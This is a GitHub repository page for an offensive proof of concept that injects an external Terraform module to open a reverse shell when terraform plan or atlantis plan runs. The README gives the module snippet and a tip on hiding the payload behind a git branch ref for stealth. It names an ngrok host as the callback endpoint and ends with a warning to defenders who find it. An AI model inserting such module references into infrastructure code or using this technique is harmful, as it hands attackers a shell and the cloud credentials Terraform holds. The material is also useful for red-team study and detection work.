Skip to content

carlospolop/terraform_external_module_rev_shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

terraform_external_module_rev_shell

Terraform file external dependency injection to get rev shell when terraform plan or atlantis plan is run.

module "not_rev_shell" {
  source = "[email protected]:carlospolop/terraform_external_module_rev_shell//modules"
}

For an even more stealth attack you can use the ref feature to hide the terraform rev shell code in a branch inside of the repo, something like: [email protected]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

More information in https://book.hacktricks.xyz/cloud-security/atlantis

IF YOU FOUND SOMETHING SIMILAR IN YOUR ORGANIZATION (this repo probably won't work out of the box as the rev shell is sent to 4.tcp.ngrok.io:15925), YOU HAVE BEEN COMPROMISED. DEACTIVATE ALL THE API KEYS THAT TERRAFORM IS USING AND CHECK FOR FURTHER EXPLOITATIONS AND MOVEMENTS

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages